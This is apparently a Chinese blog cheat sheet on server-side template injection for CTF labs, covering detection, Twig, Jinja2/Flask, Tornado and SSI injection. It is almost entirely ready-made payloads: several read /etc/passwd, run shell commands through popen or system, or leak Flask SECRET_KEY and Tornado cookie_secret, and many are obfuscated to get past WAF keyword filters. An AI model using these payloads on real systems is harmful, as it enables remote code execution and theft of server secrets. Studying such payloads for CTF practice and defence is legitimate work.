ssti注入及绕过,ssti靶场过关

ssti检测

smarty=Hello ${7*7}
Hello 49

{{7*'7'}}   49          Twig
{{7*'7'}}   7777777     Jinja2

php

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid
文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

RCE

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

语句

{{system('ls')}}

python

编码绕过

unicode

平台:编码

/test?url=
lipsum|attr("__globals__").get("os").popen("ls").read()
编码为
/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}
编码更完全
test?url={%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}

  \u0074\u0061\u0063\u0020\u002f\u0066\u002a=tac /f*   #为了绕过空格

{{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f*

waf绕过

waf检测

class
base
init
globals
lipsum
mro
os
popen
read
attr
data
arg
form
value
data
request
pop
getitem
__
_
{{}}
{%%}
%
.
()
""
"
''
'
[]
[
 
\
\u
|
print
+
1
2
3
4
5
6
7
8
9
0

[]绕过

不使用[]

{{lipsum.__globals__.os.popen('ls').read()}}
  • 使用pop__getitem__()代替索引中的[]
  • 使用__getattribute__代替魔术方法中的[]

request绕过

request.args.arg1#get
request.form.arg1#post
request.values.arg1#所有
request.cookies.arg1#cookie

attr加 | 绕过

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
{%set a=dict(__cla=a,ss=a)|join%}
{%set globals=dict(__globals__=a)|join%}
{%set pop=dict(pop=a)|join%}
{%set read=dict(read=a)|join%}
{%set cmd=dict(ls=a)|join%}

. 绕过

使用括号

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

attr

{{lipsum|attr('__globals__')|attr('pop')('os')|attr('popen')('ls')|attr('read')()}}

__绕过

使用attr和request

code={{lipsum|attr(request.args.globals)|attr('pop')('os')|attr('popen')('ls')|attr('read')()}}

编码绕过

十六进制编码绕过,_编码后为\x5f
Unicode编码
base64编码

关键字绕过

1.+号拼接

{{()['__cla'+'ss__']['__b'+'ase__']['__subclas'+'ses__']()['__getitem__'](117)['__ini'+'t__']['__glob'+'als__']['__getitem__']('po'+'pen')('cat flag')['read']()}}

2.jianjia2中的~拼接

{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set aa='__in'%}{%set bb='it__'%}{%set cc='__glo'%}{%set dd='bals__'%}{{()[a~b][c~d][e~f]()[117][aa~bb][cc~dd]['po'+'pen']('cat flag')['read']()}}

3.reverse replace join等过滤器

reverse:
{%set a="__ssalc__"|reverse%}{%set b="__esab__"|reverse%}{%set c="__sessalcbus__"|reverse%}{%set d="__tini__"|reverse%}{%set e="__slabolg__"|reverse%}{{""[a][b][c]()[117][d][e]['po'+'pen']('cat flag')['read']()}}

replace:
{%set a="_claee_"Ireplace("ee" , "ss")%}

join:()join读键名,即读取__cla  和ss
{%set a=dict(__cla=a,ss=a)|join%}
{%() [a]%}

数字绕过

用循环找到能利用的类直接用
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

用lipsum不通过数字直接利用
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

构造数字进行拼接

首先构造数字
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

然后拼接数字,这里以213为例
{% set erwuba=(one+nine)*(one+nine)*two+nine+four %}
{% set erwuba=(two~one~three)|int %}

最终payload
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{% set eryisan=(two~one~three)|int %}
{{().__class__.__base__.__subclasses__()[eryisan].__init__.__globals__['os'].popen('cat flag').read()}}

config绕过

本来可以直接{{config}}

但是有些不能这样,可以通过current_app来获取
url_for:
{{url_for.__globals__['current_app'].config}}

get_flashed_messages:
{{get_flashed_messages.__globals__['current_app'].config}}

从自身获取符号

{{(lipsum|string|list)}}

得到

Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '7', '4', '1', '9', '6', '1', 'c', '6', '7', '0', '>']
_在18
{{(lipsum|string|list)|attr(pop)(18)}}
payload:
{% set pop=dict(pop=a)|join %}
{% xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

空格在9
{{(lipsum|string|list)|attr(pop)(9)}}
payload:
{% set pop=dict(pop=a)|join %}
{% kongge=(lipsum|string|list)|attr(pop)(9)%}

混合waf绕过

" ’ request [] . +

{%set globals=dict(__globals__=a)|join%}{%set popen=dict(popen=a)|join%}{%set os=dict(os=a)|join%}{%set pop=dict(pop=a)|join%}{%set read=dict(read=a)|join%}{%set cmd=dict(ls=a)|join%}{{lipsum|attr(globals)|attr(pop)(os)|attr(popen)(cmd)|attr(read)()}}

{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

{% set pop=dict(pop=a)|join %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

" ’ request [] . + _ \ 数字

{%set one=dict(a=a)|join|count%} {%set eight=dict(aaaaaaaa=a)|join|count%}{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=(one~eight)|int%} {% set pop=dict(pop=a)|join %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}{% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join%} {% set popen=dict(popen=a)|join%} {% set cat=dict(ls=a)|join%} {% set cmd=(cat,space,dict(bin=a)|join)|join%} {% set read=dict(read=a)|join%}  {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}


{% set nine=dict(aaaaaaaaa=a)|join|count %}{% set two=dict(aa=a)|join|count %}{% set eighteen=two*nine %}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(ls=a)|join%}{% set cmd=(cat,space,dict(app=a)|join)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

" ’ request [] . + _ \ 数字 class init arg config app self

{%set one=dict(a=a)|join|count%} {%set eight=dict(aaaaaaaa=a)|join|count%}{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=(one~eight)|int%} {% set pop=dict(pop=a)|join %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}{% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join%} {% set popen=dict(popen=a)|join%} {% set cat=dict(ls=a)|join%} {% set cmd=(cat,space,dict(bin=a)|join)|join%} {% set read=dict(read=a)|join%}  {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

{% set nine=dict(aaaaaaaaa=a)|join|count %}{% set two=dict(aa=a)|join|count %}{% set eighteen=two*nine %}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(ls=a)|join%}{% set cmd=(cat,space,dict(bin=a)|join)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

相关函数

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
 

tornado

tornado是python的web框架(web框架的产生是避免程序代码与html编码的编码混乱性,框架将传参过程进行独立)

传递的参数值应为{{值}}的格式

render

render是tornado里面的渲染函数,就是对web网页界面进行编辑的函数,和template的渲染是相似的,主要区别render是以脚本的方式进行渲染,template是以html方式进行渲染。

cookie_secret简介

普通的cookie并不安全,可以通过客户端修改

在Tornado框架中,cookie_secret是一个密钥,一般使用随机生成的字符串,被用于对生成的cookie进行加密。它的作用是确保cookie的安全性,防止被修改或伪造。

具体来说,当Tornado应用程序使用set_secure_cookie()函数设置cookie时,会使用cookie_secret对cookie进行加密。而在获取cookie时,Tornado则会使用同样的密钥进行解密,并验证cookie是否被篡改。如果cookie_secret不匹配,Tornado将不会对其进行解密,并抛出异常,以防止未经授权的访问。

handler.settings

handler.settings在Tornado框架中是一个字典,用于存储应用程序的各种配置选项。其中包括一些默认的配置选项,也可以自定义添加其他配置选项。

在Tornado框架中,cookie_secrethandler.settings字典中用于配置cookie密钥的一个选项。Cookie密钥是用于加密和验证cookie的字符串,它应该是一个随机且足够长的字符串,用于保证cookie的安全性和完整性。

实现

传入错误filename,发现:存在error?msg=
则构造error?msg={{handler.settings}}
得到cookie_secret

flash

config

config是flask模板中的一个全局对象。包含了所有应用程序的配置值。

这里直接在url中写上?flag={{config.SECRET_KEY}}

语句

{{lipsum.__globals__.os.popen('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{lipsum.__globals__.get("os").popen("tac f*").read()}}

ssi

来源:[BJDCTF2020]EasySearch

补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了**.stm .shtm .shtml**或在界面中发现了

<div>{$what}</div>

<p>Welcome, {{username}}</p> <div>{%$a%}</div>

实现

就容易产生ssi注入,此处问题的其注入格式为:<!--#exec cmd="命令" -->

语句:username=<!--#exec cmd="ls ../"-->&password=2020666
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值